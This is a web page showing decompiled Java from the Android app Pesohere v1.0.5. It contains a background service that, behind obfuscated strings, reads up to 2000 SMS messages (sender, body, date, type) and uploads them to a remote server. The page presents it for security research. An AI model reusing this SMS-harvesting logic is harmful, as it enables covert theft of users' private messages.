导航菜单

页面标题

页面副标题

Pesohere v1.0.5 - UploadSMSCowHereService.java 源代码

正在查看: Pesohere v1.0.5 应用的 UploadSMSCowHereService.java JAVA 源代码文件

本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。


package com.cow.here.uicowhereanddto.scowhereervice;

import android.app.IntentService;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import com.cow.here.appcowherelication.AppCowHereLication;
import com.cow.here.netcowherework.dcowhereto.requestcowhere.SMSRequestCowHere;
import com.cow.here.netcowherework.dcowhereto.responsecowhere.ErrorCowHereDto;
import f.c.a.c;
import f.c.a.g.i;
import f.c.a.g.j;
import i.u.b.f;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.Locale;

public final class UploadSMSCowHereService extends IntentService {
    public final int b;

    public static final class a extends i<String> {
        @Override
        public void a(ErrorCowHereDto errorCowHereDto) {
            f.f(errorCowHereDto, c.a("CBMABBc="));
        }

        @Override
        public void b(String str) {
            f.f(str, c.a("CRUd"));
        }
    }

    public UploadSMSCowHereService() {
        super(c.a("OBEeBAQQIz48KwoFLQgTFzgABgYaDA0="));
        this.b = 2000;
    }

    @Override
    public void onHandleIntent(Intent intent) {
        int i2;
        Cursor query;
        Cursor cursor;
        SMSRequestCowHere sMSRequestCowHere = new SMSRequestCowHere();
        if (d.i.f.a.a(this, c.a("DA8WGQodFF0fDRcfDB4SGwQLWiI2Liw6ISg+")) != 0) {
            return;
        }
        sMSRequestCowHere.userCowHeretAction = AppCowHereLication.f443f;
        ArrayList arrayList = new ArrayList();
        Cursor cursor2 = null;
        try {
            try {
                i2 = 0;
                query = getApplication().getContentResolver().query(Uri.parse(c.a("Dg4cHwAaBElARxYfFkI=")), new String[]{c.a("MggW"), c.a("DAUWGQAHAw=="), c.a("HQQAGAoa"), c.a("Dw4WEg=="), c.a("CQAGDg=="), c.a("GRgCDg==")}, f.l(c.a("CQAGDllJ"), Long.valueOf(System.currentTimeMillis())), null, c.a("CQAGDkUQFQAM"));
            } catch (Exception unused) {
                return;
            }
        } catch (Exception unused2) {
        } catch (Throwable th) {
            th = th;
        }
        if (query != null) {
            try {
            } catch (Exception unused3) {
                cursor = query;
            } catch (Throwable th2) {
                th = th2;
                cursor = query;
            }
            if (query.moveToFirst()) {
                int columnIndex = query.getColumnIndex(c.a("DAUWGQAHAw=="));
                int columnIndex2 = query.getColumnIndex(c.a("HQQAGAoa"));
                int columnIndex3 = query.getColumnIndex(c.a("Dw4WEg=="));
                int columnIndex4 = query.getColumnIndex(c.a("CQAGDg=="));
                int columnIndex5 = query.getColumnIndex(c.a("GRgCDg=="));
                do {
                    arrayList.add(new SMSRequestCowHere.SMSCowHeretItem(query.getString(columnIndex2), query.getString(columnIndex), query.getString(columnIndex3), new SimpleDateFormat(c.a("FBgLEko5PVwLDEU6LVcMH1EWBw=="), Locale.getDefault()).format(new Date(query.getLong(columnIndex4))), Integer.valueOf(query.getInt(columnIndex5))));
                    i2++;
                    if (!query.moveToNext()) {
                        break;
                    }
                    try {
                    } catch (Exception unused4) {
                        cursor2 = query;
                        f.c(cursor2);
                        if (!cursor2.isClosed()) {
                        }
                    } catch (Throwable th3) {
                        th = th3;
                        cursor2 = query;
                        try {
                            f.c(cursor2);
                            if (!cursor2.isClosed()) {
                            }
                        } catch (Exception unused5) {
                        }
                        throw th;
                    }
                } while (i2 <= this.b);
                sMSRequestCowHere.userCowHeretContent = arrayList;
                cursor = query;
                try {
                    j.f2572c.b().f(null, null, c.a("QhEXGAohAB8ARwwcAwIpFxkAJBgAAhtK"), sMSRequestCowHere, false, String.class, new a(), (r19 & 128) != 0 ? c.a("ChIdBQ==") : null);
                    f.c(cursor);
                    if (!cursor.isClosed()) {
                        cursor.close();
                    }
                } catch (Exception unused6) {
                    cursor2 = cursor;
                    f.c(cursor2);
                    if (!cursor2.isClosed()) {
                        cursor2.close();
                    }
                } catch (Throwable th4) {
                    th = th4;
                    cursor2 = cursor;
                    f.c(cursor2);
                    if (!cursor2.isClosed()) {
                        cursor2.close();
                    }
                    throw th;
                }
            }
        }
        cursor = query;
        f.c(cursor);
        if (!cursor.isClosed()) {
        }
    }
}